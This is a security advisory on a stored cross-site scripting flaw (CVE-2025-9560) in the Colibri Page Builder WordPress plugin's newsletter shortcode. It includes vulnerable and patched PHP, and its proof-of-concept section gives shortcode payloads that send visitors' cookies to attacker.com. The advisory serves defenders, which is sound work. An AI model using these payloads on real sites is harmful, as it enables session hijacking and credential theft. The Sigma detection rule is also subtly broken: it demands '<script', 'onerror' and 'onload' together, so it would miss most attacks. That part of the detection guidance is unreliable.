CVE-2025-9560

Executive Summary

CVE-2025-9560 is a Stored Cross-Site Scripting (XSS) vulnerability in the Colibri Page Builder plugin for WordPress. The flaw resides in the colibri_newsletter shortcode, which fails to properly sanitize user-supplied attributes and escape output. An authenticated attacker with at least Contributor-level privileges can inject arbitrary JavaScript or HTML into pages. When any user (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability affects all versions up to and including 1.0.334. No official patch has been released at the time of analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for sites with untrusted contributors.

Supply Chain & Package Security

This is a WordPress plugin ecosystem issue. The plugin is distributed via the official WordPress plugin repository and can be installed directly from the WordPress admin dashboard. No third-party package manager (NPM, PyPI, Go, Ruby) is involved. The vulnerability is introduced by the plugin’s own code, not by a dependency.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication, but Contributor-level access is common in multi-author WordPress sites. The stored XSS can be used to escalate privileges or compromise other users.

Deep Dive & Mechanics

The colibri_newsletter shortcode is used to embed newsletter signup forms. The plugin registers the shortcode and processes attributes like title, description, button_text, and background_color. The vulnerability occurs because these attributes are not sanitized or escaped before being rendered in the page HTML.

Root Cause: The plugin uses shortcode_atts() to merge user-provided attributes with defaults, but then directly outputs the attribute values into the page without passing them through esc_attr() or wp_kses(). For example, an attribute like title="<script>alert('XSS')</script>" would be rendered as-is.

Attack Flow:

1. An attacker with Contributor-level access creates or edits a post/page.
2. They insert the [colibri_newsletter] shortcode with a malicious attribute, e.g., [colibri_newsletter title="<script>alert(document.cookie)</script>"].
3. The plugin stores the shortcode in the database.
4. When any user (including admins) views the page, the script executes in their browser.

Impact: The attacker can steal session cookies, redirect users to phishing sites, perform actions on behalf of the victim, or deface the site.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is identified in the plugin source. The fix would involve proper escaping.

Vulnerable Code (colibri-page-builder/extend-builder/shortcodes/newsletter.php):

function colibri_newsletter_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => '',
        'description' => '',
        'button_text' => 'Subscribe',
        'background_color' => '#f0f0f0'
    ), $atts);

    $output = '<div class="colibri-newsletter" style="background-color:' . $atts['background_color'] . '">';
    $output .= '<h3>' . $atts['title'] . '</h3>';
    $output .= '<p>' . $atts['description'] . '</p>';
    $output .= '<button>' . $atts['button_text'] . '</button>';
    $output .= '</div>';

    return $output;
}
add_shortcode('colibri_newsletter', 'colibri_newsletter_shortcode');

Patched Code (Hypothetical Fix):

function colibri_newsletter_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => '',
        'description' => '',
        'button_text' => 'Subscribe',
        'background_color' => '#f0f0f0'
    ), $atts);

    $output = '<div class="colibri-newsletter" style="background-color:' . esc_attr($atts['background_color']) . '">';
    $output .= '<h3>' . esc_html($atts['title']) . '</h3>';
    $output .= '<p>' . esc_html($atts['description']) . '</p>';
    $output .= '<button>' . esc_html($atts['button_text']) . '</button>';
    $output .= '</div>';

    return $output;
}
add_shortcode('colibri_newsletter', 'colibri_newsletter_shortcode');

Exploitation & Lab Setup

Red Team (Proof of Concept)

Prerequisites:

• WordPress site with Colibri Page Builder <= 1.0.334
• Contributor-level account credentials

Exploit Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. Insert the following shortcode into the content:

   [colibri_newsletter title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

4. Publish the post.
5. When an admin or other user views the post, the script executes, sending their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

[colibri_newsletter title="<img src=x onerror=\"document.location='https://attacker.com/steal?cookie='+document.cookie\">"]

Blue Team (Detection & Hardening)

Detection:

• Monitor for shortcodes containing suspicious HTML/JavaScript in post content.
• Use WAF rules to block requests with <script> tags in shortcode attributes.
• Review user activity logs for unusual shortcode usage by Contributors.

Hardening:

• Disable the colibri_newsletter shortcode via a custom plugin or theme functions.php:

  remove_shortcode('colibri_newsletter');
  

• Restrict Contributor-level access to trusted users only.
• Apply a virtual patch using a WAF (e.g., Wordfence, Cloudflare) to block XSS patterns in shortcode attributes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/colibri-page-builder/extend-builder/shortcodes/newsletter.php (vulnerable file)
• Database: Posts/pages containing the [colibri_newsletter] shortcode with suspicious attributes (e.g., <script>, onerror, onload).
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server (if payload exfiltrates data).
• Logs: WordPress debug log entries showing unexpected shortcode attribute values.

Detection Engineering

YARA Rule

rule colibri_xss_shortcode {
    meta:
        description = "Detects malicious shortcode attributes in Colibri Page Builder"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9560"
    strings:
        $shortcode = /\[colibri_newsletter[^\]]*\]/
        $xss_payload = /<script|<img[^>]+onerror|<svg[^>]+onload/i
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: Colibri Page Builder Stored XSS via Shortcode
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via colibri_newsletter shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'colibri_newsletter'
        http.body|contains|all:
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9560 Colibri Page Builder Stored XSS"; flow:to_server,established; content:"colibri_newsletter"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the shortcode by adding remove_shortcode('colibri_newsletter'); to your theme's functions.php or a custom plugin.
2. Restrict user roles – only allow trusted users to have Contributor-level access or higher.
3. Apply a WAF rule to block requests containing <script> or event handlers in shortcode attributes.

Long-Term Fix:

• Monitor the Colibri plugin repository for an official patch. Once available, update to the patched version immediately.
• If no patch is released, consider replacing the plugin with an alternative.

Workaround:

• Use a security plugin like Wordfence to add a firewall rule that blocks XSS patterns in post content.

Valters IT